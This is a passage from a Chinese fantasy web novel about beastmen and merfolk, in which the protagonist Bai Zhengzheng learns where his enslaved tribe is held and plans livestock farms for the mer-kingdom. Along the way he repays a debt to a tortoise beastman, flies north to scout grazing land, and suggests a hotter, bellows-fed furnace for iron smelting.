“他的阿爸也是被抓来的,秋本来想查一查林猫部落的事,没曾想发现云猫族长在转移粮食。” “那亚兽人说,云猫族长很多年前就在帮南部寻找奴隶,运送过去,你的族人因为住在海边,碰巧被盯上。不止他们,很多海边居住的兽人都遭了难。” “兽人们被抓过去为人鱼做各种各样的事情,采矿只是其中之一。” “现在我们只知道银矿的大概位置,里面有万数兽人。那边缺少兽人,只要干活,应该不会有生命危险。” 白争争顿时明白了,道:“那我哥在南边当卧底。” “嗯。” “等一下,那菱岂不是我嫂子!” * 确定了林猫族人所在的位置,白争争心里郁气一散,那病好得极快。 他知道要救兽人出来得靠人鱼,但现在人鱼前线似乎也不怎么好过。 他干不了其他,只能给烬帮帮忙。 要帮忙,就得知道人鱼王国的大致情况。 白争争一身的劲儿,在烬要忙时,叫他带着自己一起。 议事厅相当于烬的书房,里面有个架子,摆满了兽皮卷轴。白争争跟随烬往里走时,还发现了纸。 他惊了一瞬。 “这个都能做了?” 烬抽出白争争想知道的王国各项事务的记录,见那被压在底下发黄的纸,道:“前头的王命令人鱼做的,不过就这些。” “现在还能做吗?” 烬:“应该能。但我们还是用兽皮用得多,人鱼来往水上,兽皮不容易泡烂。” 白争争:“说得也对。” 回到座上,烬将兽皮堆放在一边。白争争端了个小凳子过来,放在烬旁侧。 他刚坐下,烬一臂将他捞过。 “这样看。”烬道。 白争争坐在烬身上,晃了下腿,显然还有些雀跃。他仰头看他:“不影响你?” 烬亲了下他的唇角,“不影响。” 烬的大腿有肌肉,很有弹性,比木头做的硬凳子舒服些。白争争乐得让他当人肉垫子。 烬拿过一旁的兽皮,白争争便也抓过另一堆兽皮一一打开。 上面记录的是人鱼王国这些年来的粮食产量,白争争对比着看,发现最主要的紫皮根,产量已经到了一个惊人的数字。 然后是稻跟麦,虽产量不到紫皮根的一半,但作为补充粮来说,也不算少了。 烬快速掠过自己那份儿兽皮上的事,见怀里亚兽人脊背笔直,认真盯着兽皮,嘴里低低念着什么。 他搂住伴侣的腰,贴身上去,下巴搭在他肩膀跟着他一起看。 白争争:“我看粮食产量不低,兽人食物充足,够吃对不对?” 烬:“不对。” “嗯?”白争争侧头看他。 那双眼睛眼角钝钝的,形状微圆,静静盯着你时,像软萌的猫等着你来摸。 烬也摸了摸那没多少肉的脸,道:“这些植物对食肉的兽人来说,只能叫充饥。要想兽人有力气,人鱼有战力,必须要肉。” 白争争歪头,脸贴在他掌心,接着他话说:“但咱们没有肉。否则外面卖的那些肉就不会那么贵。” “对,我们拿不出大批量的肉。”烬叹息,想着兽皮上人鱼又在要食物了,有些头疼。 烬看的兽皮没遮挡,白争争余光扫一眼,就看明白了。 他手指戳在烬的眉间,揉散了两个小山丘,才道:“没有野的,咱们就自己养不行?” 烬:“嗯?” 兽人种植都是靠饿死了不少兽人逼出来的,哪里会有养殖野兽的想法。 最多就是捕猎了活的野兽吃不完,带回来养几天,然后再杀了吃。 白争争点头:“野兽能养,鱼也能养。” 烬摩挲着伴侣细滑的脸,忍不住轻轻捏了捏。 “你说说,怎么养?” 白争争道:“怎么样还得仔细想想,想好告诉你。平时王国里吃的肉怎么来的?” 烬道:“海洋兽人跟一些人鱼在海里抓的鱼,再有就是林子里找的野兽。不过都不多,抓不抓得到都要看运气。” 白争争点点头。 烬等着他继续说,结果亚兽人转个头,就继续翻兽皮去了。 烬看着空了的手心,笑了一声。 捏了捏亚兽人腰间的痒痒肉。 白争争身子一歪,抓住他作乱的手,继续翻兽皮。 下一份是王国兽人情况,看时间还是几年前的,只分别记录了兽人总数量,雄兽人、雌兽人以及亚兽人的数量,再有每个部落分别有多少兽人,幼崽多少。 王城内,兽人总量有十多万,雄兽人、亚兽人占五分之四,剩下的才是雌兽人。 各个部落当中,幼崽都多,少则三五百,多则一千。唯独人鱼族那年出生的幼崽才一百来个。 白争争又看人鱼族兽人的数量,五六千个。 白争争回首,对上烬的眼睛。 他一直没出声,见白争争看过来,眼里露出笑意。白争争感觉他刚刚是一直在看自己。 烬:“想问什么?” 白争争道:“现在的兽人数量没统计过吗?” 烬道:“没有,族中觉得没多大用。” 白争争道:“那人鱼现在有多少个?” 据他所知,外面负责守卫王国的,上前线的兽人主要就是人鱼。 烬:“人鱼这些年也死得多,还有三千。” 白争争抓着烬的手一紧。 “这么一点了。对面有多少人鱼?” 烬:“一千多。” 这边人鱼死了不少,那边人鱼只会死得更多。 白争争:“这么少的兽人,怎么打?” 烬看亚兽人认真的小模样,稀罕得紧,忍不住扣住他的手,将人往坏里藏了些。 “我受伤那次之后,他们就不敢大规模地打了。但每次只偷袭,打完就跑,让祭司烦得不行。” 白争争道:“所以要斩草除根。” 烬笑容微深,“嗯。” 白争争又问:“现在王国里的其他兽人数量还有多少?忠心人鱼的部落有哪些?” 白争争现在给自己找到头一个事儿,就是搞养殖,需要有能用的兽人。 烬闻言,从兽皮堆了拿出另一份儿,示意白争争看。 人鱼一族延续几百年,跟随者很多。 王国内的护卫除了少部分人鱼,大部分都是从这些跟随的部落里选出来的。 一共有六个大部落,巨虎族,白狼族,黑狼族,蛇族,豹族,龟族。这些是最大的几个部落,一个部落的兽人就有数万。 再有些稍微小一点的,比如说狮族、鹰族。 其他的部落就只是迁居到人鱼王国中,与人鱼族接触得不算多了。 白争争听完感慨一句:“这么多吃肉的,现在改吃草,委屈他们了。” 烬无奈笑了声,鼻尖蹭了蹭伴侣的耳朵。 “你这么说,他们得急。” “急也该想办法啊。” “嗯,所以这些兽人除了个个是好战士,也是种地的能手。” 白争争偏头,露出细腻的颈子。“我不是说这个,我说想吃肉的办法。” “唔!”他忽然瞪大眼。 烬叼着他颈间的软肉,嗅着伴侣香香的味道,低声道:“所以他们幼崽生得多。” 劲儿没处使去,从祖先到现在都是打猎吃,脑子又想不到什么养殖,只能将精力发泄到其他上。 比如说吃伴侣的肉。 所以其他族的兽人们一窝崽子一窝崽子地生,一窝又有好几个,数量远超人鱼一族。 白争争被他牙齿磨得痒,皱了皱鼻子,抵着黏糊的人鱼推开。 “说正事儿呢,别动手动脚。” 烬:“我说的也是正事儿。” 他觉得认真想法子的伴侣格外好看,这对精力旺盛的人鱼来说,很要命。 白争争又快速将其他的看完,这些记录太粗糙零散,还有的都过了几年了。 白争争问:“这些记录,谁负责的?” “祭司。” 这就说得通了,祭司都在前线忙着治病呢,哪有空管这些了。 白争争翻个身,面对烬坐着。他抓着烬的掌心挠了挠,有些犹豫道:“这些数据,我想重新统计一下。” “好。” 白争争看烬想都没想就同意了,撑着他的腹肌抓了抓,看肌肉收缩,硬邦邦的,他拍了拍道:“祭司不会说什么吧?” “说什么?” “我插手王的事,没分寸。” 烬扑哧一声,笑了。他本就俊美,笑起来面色柔和,看得白争争忍不住贴脸去蹭。 烬揽着他道:“祭司巴不得有兽人分担。而且你是我的伴侣。” 原本前头的王有一套管理王国的法子,但那会儿族中的兽人还很多,也有兽人能用。 现在不说别的,就人鱼数量就已经减少了不止一半。 原本那全是人鱼的护卫,现在就只有百来人鱼,其他都是别族的。 王国的管理是部落自治,在人鱼王国就只需要服从王国的规矩。其实也并不算白争争理解的国家。 全局来看,还是部落统治,小部落依附于大部落。 人鱼一族除了从小部落里挑选一些护卫队的兽人,不会再让他们参与到人鱼族的事务里来。自然,也很少插手其他部落的事。 当务之急,是先将人鱼王国摸个底。 “你给我些兽人,先把王国里调查个清楚。然后我要出去考察一下。” 烬看白争争这么干脆,捏住他的脸,轻轻扯了扯。看兽人恼了,瞪着他,才道:“前面一个可以答应,出去是去哪儿,干什么?” 白争争故作凶意:“你想不想吃肉?” 烬在他耳垂上轻咬了一口,意味不明。 白争争恼得捂住他嘴巴,凶巴巴就是个炸毛小猫。 “说正事呢!我要搞养殖,得先调查适合养的位置,还有兽种。” 烬抚着亚兽人的头发,一点不想惹恼了伴侣的人。 他格外镇静道:“照旧让洋跟寻听你指挥,他们下面各有五十兽人的小队,也听你安排。” “够不够?” 白争争满意了。 “够!” 算是给自己找了件事做的白争争一身干劲儿,跟烬商量完,差不多该吃饭了。 两个兽人一同出去,见秋身边带了个一瘸一拐的龟族的兽人来。 秋道:“王,龟喧已经受罚,接下来怎么安排?” 烬:“留着,干活儿。” 龟喧已经熟悉去南部的路线了,烬怎么可能放他走。 白争争见了龟喧,忽然想起欠龟族银币的事。他缓缓眨眼,有些心虚。 食人鹰跑了,银币没拿到,龟鸣该气死了吧。 第56章 第 56 章 骗子,还银币! 饭桌上, 白争争抓着清确认:“咱们欠龟鸣的银币是不是还没送出去?” 清眼冒幽光,落在白争争面上,默默点头。 上次要不是撞见白争争跟烬啃嘴巴那事儿,银币早就送出去了。 他也是受了刺激, 后头就把这事儿给忘了。 白争争只觉得清眼神有点奇怪, 但又不知道怪在哪儿。他忍不住坐直了, 道:“吃完饭就送, 再多给些, 当拖欠这么久的补偿。” 清:“可我们怎么送, 骑大黑去还是……” 白争争道:“王城里有去第二环岛的商队, 找他们带过去。” 清点头:“好, 我等会儿就去办。” 烬要处理南边的事儿,将洋跟寻安排给了白争争。 白争争见到兽人,当即安排他们一队十个兽人,将王城分片区,负责统计兽人数量、粮食产量、野兽分布等等, 之后再整合。 两个兽人作为小队的队长, 白争争让他们监督审核。 洋跟寻两个立即去办。 之后, 白争争将林猫部落的兽人聚集起来。 幼崽们看白争争端坐兽皮上,绕着他上蹿下跳。 白争争拎着脑袋上的幼崽放下来,拍了拍,问:“数一数,到齐了没有?” 肉张口就来:“到齐了!” 雁一爪子给他挠过去,又抱住肉,后退直蹬。 收拾完肉,雁才道:“没有,州、圆还有启都不在。” 清盘腿坐在白争争旁侧, 挠着幼崽的肚皮。幼崽舒服得隔空踩奶,巧克力颜色的爪垫一张一合。 清道:“争争,你想好做什么了?” “什么?”白争争一时没明白。 清抓住幼崽爪垫,道:“你不是说咱们自己要攒银币,你想到做什么事了吗?” 白争争道:“想到了。” 他看了一眼望过来的幼崽,道:“咱们继续帮烬做事儿,让他发银币。” 清想想点头:“也可以。” 芽道:“争争,你们上次帮烬做的什么?” 成年兽人们一愣,敛下眼帘,遮住眼中的失落。白争争一瞧,道:“抓坏兽人。” “抓到了吗?” “抓到了。” 过了会儿,兽人到齐,白争争推了推幼崽,让他好生数一数。 数对了才开始说事儿。 “来人鱼王国也有一段时间了,这边虽然紫皮根充足,但肉却不多。我们住在城堡里,不缺肉吃,但大家也出去看过,外面卖的那些东西只有肉被抢得最快,要的银币也多……” 幼崽蹲在白争争跟前,听得连连点头。 雁扬了扬尾巴尖儿,懒洋洋道:“我们也变不出肉啊。” 边上的小胖墩儿点头。 “变不变得出,试试才知道。”白争争定定地看着清几个,“帮人鱼,就是帮我们自己。” 清敏锐,精神一振,忽然求证似地看回去。 白争争却移开眼,继续道:“明天,我们带上大黑,先看看附近有没有合适养野兽的地方,之后再行动。幼崽也跟着一起去。” 雁往前挪了挪,下巴搭在白争争膝盖,两个圆眼睛盯着他。 “争争,养什么野兽?” 白争争摸了摸幼崽脑袋,“暂时还不知道。” 事情说完,幼崽就哄跑着跟州又出去了。 州跟圆、启两个现在在外面摆摊做小生意,卖些的城堡侧边海岸上弄来的海货。 幼崽一走,清几步过去关上门,然后一把抓住白争争的手。 “争争,有消息了。” 风几个愣了一瞬,立即反应过来,全部围了上来。 风还因为太激动,左脚勾着右脚,在地上滚了一圈才爬起来。 白争争看着兽人们期待又紧张的脸,低声道:“有消息了。” “在哪儿!”兽人们急切道。 白争争道:“在南部岛上,被那边的人鱼抓过去挖矿了。哥哥本来也被菱从海上救了回来,但为了族人,他又潜入那边去了。” “那、那都还好吗?”清开口,声音微微发颤。 白争争道:“具体的情况并不知道,但烬有意要铲除那边,所以我想着帮帮忙。” “帮忙,要……对!帮忙!”清语无伦次,频频点头。 桐坐在边上,几个兽人当中属他块头最大。他低头,狠狠抹了一把眼睛。 “可算找到了。” 风红着眼,重重拍他肩膀。 “哭什么,笑,要笑才对。” 兽人们一时间得知了好消息坐不住,在屋子里走来走去。 白争争想到自己刚知道的时候跟他们差不多,只温和地看着他们,等他们先消化消化。 年道:“既然知道在哪,我们能不能过去……” 白争争一想就知道年要干什么,他顿时严肃道:“不能。人鱼都跟他们打得艰难,我们去了就是送死。” 年垂头,攥紧了拳头。 “海上那么远,谁知道要等到什么时候。” 清抓住年的手,倒还算冷静,他道:“别说进人家的地盘,我们连过去都不行。” 年抬起头,看了清一眼。额头上的青筋突突直跳。 他哪里能想到,自己的族人竟然被抓去挖矿了。 林猫弱小,撑得到什么时候。 清看他钻了牛角尖,一巴掌打在他脑袋上。 年脑袋撞在清的肩膀上,摇了摇头,眼神就清明了。 他委委屈屈,一个熊抱搂住清,哽咽道:“你打我。” 清一巴掌脆响,也把其他几个兽人吸引过来。 他们稍稍冷静,重新围住白争争。 风道:“争争,那我们要做什么?赶快去吧。” 白争争想说急不来,可看兽人这样子,去也去得。 “先去附近看看。” 白争争先跟烬打了招呼,然后刚将养在后山的大黑几个召回来,就见秋带着个兽人过来。 瞧着是龟族。 “这个兽人有点熟悉啊……”年抱臂在一旁道。 “能不熟悉,债主好像找上门儿了。”白争争忙道,“清,你那银币送走了吗?” “送了,但商队说要明天才走,我现在去要回来!” “骗子!”龟兽人显然注意到了他们,脚步匆匆往这边跑,但忽然被秋拎住了后颈,动弹不得。 秋冲着白争争颔首。 “争争,这个兽人说来找你们的。” 白争争:“认识,朋友。” “什么朋友,债主!骗子,还银币!”龟鸣看着林猫兽人身后整整齐齐的五只食人鹰,气得龟壳都冒出来了。 偏偏秋还往他龟壳上敲了敲,“当盾不错。” 龟鸣更气了。 白争争不好意思,看他气得哆嗦,赶紧道:“消消气,有事咱商量。” 今天下午是去不了了,白争争跟兽人们又将龟鸣请进屋里去,清赶紧让风去把交给商队的银币拿回来。 屋内,龟鸣独坐一方,双手抱臂,怨气十足地看着林猫兽人。 偏偏他眼瞎黢黑,脸颊瘦得凹陷,更像个鬼似的。 “食人鹰跑了的事……” 羽:“那是你没套紧,不怪我们……嗷!” 桐收回爪子,端的是稳重姿态。 不会说话就不要说! 看看,龟鸣都气得翻白眼儿了。 年抓着水就赶紧往龟鸣嘴里灌,白争争看见忙将他拉开。 龟鸣喘了几口,直挺挺躺了下来。 兽人们急急忙忙围过去,拍脸的拍脸,掐肉的掐肉,白争争按着龟鸣鼻子下,好歹将翻白眼的兽人弄醒过来。 兽人们一屁股坐在地上,看着要死不活的龟鸣道:“你至于,差点把自己气得翻肚皮。” 龟鸣大吼:“至于!” 然后往地上一趴,捂着脸哭出声来。 “我容易吗我!银币没得到,好吃好喝伺候的食人鹰还跑了!为了养它们,我自己都舍不得吃的鱼都喂给它们,就这还不算,我还给它们去海里抓鱼!” “我活儿都没时间干了。可它们呢,吃饱了长胖了,休息够了就跑了。” “我还怕你们找来不见,到时候怪我身上,又不得不满环洲地找!找了好久好久都找不到,我没办法,才来找你们。” “可它们呢!它们就跟着你们回来了!” 龟鸣哭得撕心裂肺。 他委屈啊! 他为了两个大鸟到处跑,银币没挣,大鸟也没了。他还一次没上天呢! “呜呜呜……呜嗷嗷呜……” 白争争几个听着更加内疚了。 白争争探手,试图拍了拍他背上的龟壳。梆梆作响,更滑稽了。 最后还是年将他脖子一环,手动捏住他嘴巴,止住哭声。 龟鸣还在抽噎,地面都被他哭湿了一块儿。 兽人们实在不好意思,给龟鸣又是拿肉,又是拿果子。 龟鸣饿惨了,抓起来就吃,边吃边呜呜咽咽。 跟那海边晚上吹大风似的,听着渗得慌。 他为了找两个食人鹰,银币全攒着为了进人鱼王国,路上吃喝都得靠自己捕猎。 从食人鹰跑了,他开始找,整整找了四个多月,他好惨啊呜呜…… “呜呜呜……” “别哭了。”哭得他们心慌。 年搓了搓手,又将麦饼往他跟前推了推。风几个在龟鸣面前摆满了肉、米饭、果子…… 龟鸣风卷残云,就几下,吃了个干干净净。 吃完甚至还巴巴看着他们,捂着肚子,摆明了没够。 想想他那体型,兽人们赶紧又出去找食物送来。 添了两次,好歹是吃饱了,龟鸣也冷静了。 他想到自己刚刚那凄惨样子,不好意思地默默往龟壳里缩。 白争争看了眼回来的风,赶紧将银币拿过来,往龟鸣怀里一塞。 “这事儿是我们做得不对,银币在这儿,实在抱歉。” 龟鸣抱着沉甸甸的银币,打了个饱嗝。 他飞快将兽皮袋打开,见里面满满当当全是银币,赶紧往怀里捞。 “真给我?”这远超他要的银币数量了。 白争争道:“多的就当赔罪。” “哼!”龟鸣舒坦了。 他腿抽了两下,忽然变做个大乌龟。 他将银币拉进龟壳,脑袋跟四肢都缩进去,不一会儿,壳里就传出打呼噜的声音。 看来是真累了。 白争争瞧着巨石一样的龟鸣,“以后再也不要随便欠债了。” 清心有余悸地点头。 幼崽随州卖完海鲜回来,进屋见巨大的“石头”还以为走错。 见清几个都在,才拎着装了银币的袋子靠近。 那“石头”极大,占了半间屋子。幼崽们仰着脑袋都看不见石头上面是什么。 清:“卖了多少银币?” “五十个!”幼崽高声道。 州他们只捡了一篮子的贝壳,卖价不贵,贝壳又没多少肉,所以才从上午卖到下午。 说话间,调皮的幼崽已经爬到龟背上了。 肉立在龟鸣脑袋那边,看黑漆漆一个洞,试探着往里钻。 白争争一把扯住幼崽尾巴,将他拉出来。 “是龟鸣,他在睡觉,别打扰他。” “大乌龟!”幼崽连忙蹦下来,围着龟壳打转,“他怎么来了?” 清:“要债的。” * 下午走不了了,兽人们休息一夜,次日早晨吃过饭就出发。 白争争对环洲中心不算了解,食人鹰带着他们在天空盘旋一圈。 只见王国西部依着群山,山后地势稍平。 北边是茂密得一眼望不到头的森林,东部跟南部则是汪洋大海。 食人鹰飞过王城,引起了一阵轰动。 底下的兽人还以为是岛上的食人鹰来抓兽人了,四处逃窜。街上一片纷乱。 忽然有个兽人喊:“那不是王的伴侣!” 兽人们定住身子,抬头一瞧,整整齐齐五只食人鹰,不多不少。 “他们这是去哪儿?”街上恢复秩序,兽人们纷纷跑出来眺望天空。 “难不成是王把伴侣惹生气了,人家走了?” “没准儿是。” 王城里论兽人们最关注哪个兽人的情况,无非就是烬。兽人们只看那食人鹰往北飞,各部落就开始谣传烬的伴侣被气回老家了。 为此,几个亲近部落的兽人还专门去了城堡一趟。 烬面无表情,对上好几双真诚有好奇的眼睛,他冷笑一声道:“没事做的话,那就去抓野兽吧。” 来一趟城堡,结果领了任务回去。 王不高兴,多半那外头传的话不假。 兽人们搓搓肚子,摇头叹气。 这可倒好,王又是孤家寡人一个。 白争争带着林猫往北,食人鹰背上还赖着个龟鸣。 龟鸣抱着食人鹰的脖子,兴奋又害怕地往下看。之前他往食人鹰背上爬,每次都被甩下去。 这还是第一次坐呢。 环洲中心陆地面积不小,有几万平方公里。四面环海,往北海拔渐高,有不少高山草原。 食人鹰只飞行不到半天,越过森林就是树林稀疏的草原。 河流如练,自西部流淌过来,汇入大海。 白争争按着食人鹰降落,这处早已经是城墙之外。 已经入秋,但环洲这里并不算冷。 放在他们之前住的山洞那边,这会儿都已经有雪沫子了。 山脚青草已经转黄,但河边依稀能见到几头角兽在吃草。 幼崽们看见角兽就兴奋,白争争一把将他们逮回来。 角兽听见动静,也警惕地抬起脑袋看向他们,不一会儿就走远了。 白争争见角兽肚子大,道:“这会儿动物也有幼崽了。” 清:“那咱们养角兽吗?” 白争争道:“它们胆小,不一定能成,得试一试才知道。” 白争争让兽人们生火做饭。 龟鸣跟来玩儿的,自觉吃白食不好,直接跳进河里抓鱼去了。 白争争则坐上大黑,从草滩往北,绕山飞了一圈。 这边地势比人鱼王国高,离王国百里远。 环洲的部落都聚集到人鱼王国里去了,白争争没在这边见到个兽人。 兽人少,动物就相对多一点点。 草原上有不少长耳兽与尖齿兽。 白争争摸了摸大黑,又低飞了一圈,又见山谷中有几个小族群的角兽。 且有不少大着肚子的。 看完之后,白争争飞回去。 河边生起炊烟,兽人们做的鱼汤已经快要好了。 “争争,山上有什么?”幼崽问。 他们在山脚的草原,山上则是光秃秃的石头多。草已经黄了。 白争争道:“什么都没有。” 龟鸣怀疑道:“你还真打算自己养野兽?” 白争争道:“总要试试。” 吃过饭,兽人们休息会儿又继续北飞。 之后山峦起伏,湖泊如碧玉,散布在高深的丛林中。 再北,就是戈壁滩,上面却有兽人围着盐湖在劳作。 白争争不想惊动他们,绕行往西边,再往回飞。 环洲这个时候气候适宜,不冷不热的。 要搞养殖,要不就是繁殖速度快的野兽,要不就是产肉多的,白争争看完一圈,只选出两个地方。 一个是先前的高山草原,一个是西山后头的空地。 早晨出发,回到城堡时,已经深夜。 食人鹰在城堡前落下,白争争离近了才看见门口一道人影。 他吓了一跳。 “怎么这么晚?”烬走近,牵起白争争的手,示意其他兽人也跟着进去吃饭。 幼崽跟在成年兽人后头,无精打采。 好久没有长时间飞行了,一时间有些不习惯。 进了屋,里面油灯燃烧着,桌上放满了食物。 不用招呼,兽人们各自坐过去,狼吞虎咽开吃。 龟鸣混在其中,不敢看烬,却吃得比谁都快。 * 当晚,白争争洗过澡爬到床上。 困得睁不开眼时,烬抱着他道:“争争,我要离开一段时间。” 白争争强撑着睁开眼,脑子反应有些慢。 “去哪儿?” 烬刮了刮他的脸,不忍心打扰,但又不得不说。 “去南部,祭司也要一起。” “去多久?”白争争清醒了些,爬起来压着烬问。 烬平躺着,轻捏亚兽人的下巴。 “最多十天。” “好。我会加紧的。” 烬勾着他趴在胸膛,道:“不着急,慢慢来。” 白争争被他心跳震得又要沉睡,撑着问:“什么时候走?” “明天。” “明天……”白争争闭上眼睛,抓着他的手抱住,依依不舍,“明天走啊。” “嗯。” 烬等着一会儿,没听到亚兽人再开口,低头一瞧,人已经睡着了。 * 第二天,白争争醒来时下意识翻身将腿跟胳膊往烬的身上搭,却落了个空。 他猛地撑着坐起,摸了摸身侧的兽皮,早已经没了温度。 白争争急急忙忙穿上鞋,出了门。 却在门口看见菱,菱道:“争争,王已经走了。” 白争争呆立着,过了会儿才“噢”了声,掉头进了屋去。 他往兽皮上一坐,目光发直,愣了好一会儿。 门没关,菱在门口能看到他。 他走近,在白争争面前曲腿半蹲下。银发滑落,搭在肩前,飘起一阵清香。 “才走就惦记了?” 白争争曲腿,手撑着下巴望着菱。 “嫂子,我在想今天干什么,不像你。” 菱轻轻一笑。 他漫不经心道:“是不像我,等你哥回来,我要把他关起来。” 白争争肩膀一颤,惊讶道:“我哥吃不了硬的,得来软的。” “谁说的,被我带回来那一阵不照样关了那么久。没听他说什么。” 白争争奇异地看着菱,瞌睡也聊没了。 他追问:“我哥是不是就冷着个脸坐着?还不跟你说话?” 菱轻轻摇头,笑容微闪。 “他看着我脸红。” 白争争盯着他瞧了一会儿,默默点头道:“一个愿打一个愿挨,你们挺配。” 没想到他哥喜欢玩儿强制。 菱喜欢听到这样的话,笑道:“谢谢。不过可以去吃饭了吗?” 白争争这一刻觉得他嫂子在哄他。 他起身,拍拍手道:“可以。” “嫂子我哥什么时候回来?” 菱轻叹:“我也想知道。” “烬去处理这事儿了?”白争争偏头问。 “不是,南边的人鱼又发疯,动用奴隶兽人直接打了个大的。王担心那边兽人撑不住,过去看看。” “那我哥他们……” “他们还在矿上,没事。你哥跟林猫那体格,打不了仗。” 白争争稳了心,吃过饭后,又急急忙忙选址去了。 * 五天后,洋跟寻带着人鱼和兽皮回来了。 白争争仔细看完他们调查的数据,,直接敲定了角兽、长耳兽、野鸭三种野兽试养。 本还想多试着养些其他的,但环洲中心野兽本来就少。 看完兽人们的调查,也就这些野兽能找到相对足够的种源。 确定养什么之后,白争争将选址的位置告诉兽人,之后便着手搭建厂房。 并另派兽人去抓捕兽种。 洋不分昼夜忙了这么多天,这会儿顶着一头乱糟糟的蓝发道:“王走之前跟我们说了,已经派兽人去抓了。” “谁?” “好像是狼族那几个大部落。” 白争争道:“行,那咱们就先去选址位置,伐木建房。” 第57章 第 57 章 矿洞 白争争这边开始动工。 人多力量大, 短短几天,建房的树木采伐好,地基清理干净,只等白争争安排。 这一处与人鱼王国的田地仅有一山之隔, 这个季节兽人们正在采收紫皮根。 他们总听得到后头林子里传来的砍木头的笃笃声。 兽人们一脚踩在骨制的农具上, 农具嵌入松软的泥土中, 再用力往下一翘, 紫皮根连根拔起, 露出脑袋大的根茎。 兽人看了一眼山后头, 见不到那边情况。 “这后头这几天总吵得慌, 谁在那边?” “王的伴侣。” “做什么的?” “还能做什么, 跟王过不下去了,又没地方去,只能在这边砍树建房子呗!”这地方对兽人们来说就是王国里最偏僻的地方,离城堡那么远,这两口子摆明了要分。 “人前头不是带着族人走了。” “能走哪儿去, 林猫兽人那么弱小, 出了这里也只有被欺负的份儿, 还不如留下。” 兽人半信半疑,拎着紫皮根的藤条晃了晃,丢在一旁。 后山平坦,背风,又临近水源。 再来靠近兽人们的田地,方便运送粮食过来。 白争争为了赶进度,抓了洋他们当壮丁不说,还让寻去那几个大部落里借了兽人。 他们来得管饭,林猫兽人就负责在这边搭灶生火, 当伙夫。 龟鸣本来得了银币就该回去,不巧白争争以利诱惑,让他先给林猫兽人们帮忙,负责去河里抓鱼。 这样一来,又跟着兽人们忙起来。 * 新砍的树木去皮,刨成木板,单是这一步就已经很耗时。 白争争试图找些耗一点的工具,思来想去,直接找到菱。 菱见他风尘仆仆跑回来,问:“怎么了,兽人不够用?” 白争争瞧着头发丝儿都漂亮的菱,道:“不是,是想问问有没有锋利一点的工具。” 菱看着他:“没有。” 白争争:“部落里不是在制造银币,总该炼其他……” 菱忽然捏住他的嘴巴,手臂一带,勾着白争争往城堡的深处去。 “你怎么知道城堡在炼其他东西?” 白争争被带得大步往前,忙稳住步子道:“因为我跟烬说过。” 菱若有所思:“怪不得,王一回来就让我们找石头。” “那炼出来了吗?”白争争跟不上菱的长腿,脑袋一低,从他臂弯里出来。 菱道:“也才出来几件,带你去看看。” 白争争随着菱走,眼前变黑了下去。 又走了一段,却发现四周都是天然的石壁,像被人工凿出来的地道。 白争争惊呼:“你就这样带我过来了?” 这种地方不该对谁都保密吗? 菱:“这有什么,你是烬的伴侣。” 白争争起了好奇,问:“你们做的什么?” “看了你就知道了。”烬手往白争争后脑勺一带,拐过一角,眼前气温骤高。 泥糊起来的炉子里,热气滚滚。木炭燃烧的味道充斥着这一空间。 兽人们光着膀子,围着炉子,将融化的银矿水倒入模具,凝固后就成了简单的银币。 那模具黑灰,分明就是铁。 再有与铸银币隔开的另一边,兽人们在同样的炉子里掏出黑漆漆的铁块。 然后拿出来敲敲打打,锤炼成薄薄的刀片。 菱带他到旁边,角落的架子上已经放了几把锤炼好的铁器。 菱随手拿起一个不像锤子的锤子,处处是砸痕,只看得出一坨铁头加了个把手。 菱颠了颠,直接递给白争争。 “瞧瞧。” 白争争看他拿得轻巧,随手一接,猛地下坠。 菱一把拉住,看白争争两眼发懵。 他“哦”了声,“忘了,你是林猫。” 白争争狡辩:“我那是没准备。” 菱哄弟弟:“是,没准备。” 白争争看着铁锤,道:“这么重,正好给我打桩子。” 菱:“拿去吧。” 白争争得寸进尺:“还有没有刀片,我做个刨刀。” 菱道:“自己找。” 那一堆里就几样,不是锤子,就是奇形怪状的刀。白争争摸了摸刀刃,没开刃呢。 但这刀不行,得重新做。 白争争跟着菱在各个炉子打转,看兽人们跟掏红薯似的从炉子里掏出个黑漆漆的铁块儿跟残渣出来。 这边的铁品位应该挺高,简单炼制过就能用。 菱站在个炉子旁边,冲着白争争勾了勾手。跟唤小狗似的。 白争争屁颠屁颠过去,仰头看他。 菱瞧着他圆圆的眼睛,只觉乖,展颜笑道:“既然你知道炼这玩意儿,有没有法子能加快一点速度,这样实在是太满了。” “我们本来想直接像做银币那样炼化成水浇筑,但好像不行。” 白争争道:“温度不够,自然不行。” “温度?” 白争争换了种说法:“就是火不够大。” 菱瞧着那炉子里,负责烧火的兽人抬起被熏得黑麻麻的一张脸,幽怨看来。 菱带着白争争转个身,低声道:“最大了。” 白争争摇头道:“加个鼓风机还能更大。” “炉子里不够热,要用铁水的话,再建个高炉出来就行了。不过这东西也不好弄,得有耐火的黏土跟其他才行。” 菱听得一知半解,当即拉着白争争到一旁。 他召集兽人们过来,然后示意白争争说。 这里的兽人都是王国里选了又选的。 炼制银币跟炼铁的事都是这些兽人们集思广益,一点点弄出来的。 白争争知道他们经验丰富,论实操,自己还不如他们呢。 他想了想,便用他们能听懂的话道:“只要炉子里面够热,什么都能化成水。” “我们需要一个能聚温耐热的大炉子,然后将那石头粉碎了放进去烧,越碎越好。再加鼓风的东西,就比如咱吹木柴的时候,一口气吹得越大,火越大。鼓风的作用就是持续烧大火。” “烧火的材料最好用炭,木柴不太行。只有这样才能最大程度地利用火烧化它。” 立在一旁的狼兽人道:“炭我们有,这个炉子不行?” 白争争道:“火大了,会炸炉。” 兽人们顿时想起之前几次炸炉的事,心有余悸。 “是这样的。”兽人们点头。 白争争道:“有的土耐火,混合煤渣、砂石能做出不炸的炉子,不过这个我也只是听说,你们得自己一点一点试试才知道。” 白争争脑袋上一重,抬头见菱笑眯眯地看着他。 “这就够了。” 有思路,兽人们就知道劲儿往哪里使。而不是蛮牛一样埋头敲铁块儿。 才呆了一会儿,兽人脸上就出了汗水。 白争争脸被蒸红,被菱带着继续往前,拐个弯确实在山中。 山谷幽静,树叶渐黄。 秋日里成熟的果子挂在枝头,顶端上的那几个最红的已经被鸟啄空了。 白争争道:“嫂子,那我要的那些工具。” 菱以前没听过这个称呼,但知道他是指什么,菱听了心情舒畅,爽快道:“你说,我告诉他们。” 白争争道:“我还是画吧。”说出来不够直观。 菱:“也行。” 他勾着白争争沿着河沟走,“带我先去看看你们做得怎么样了。” 白争争发现他嫂子总喜欢胳膊架着人。 他比自己高了半个脑袋,将他当个拐似的杵着。自己没了半点在城堡里的优雅姿态,一副懒散模样。 好像就因为他叫了嫂子,菱就对他态度不一样了。 翻过山,就到了兽人们清理出来的空地。 这边平坦,依河旁是草滩,树木被砍倒,直接作为建造房子的原料。 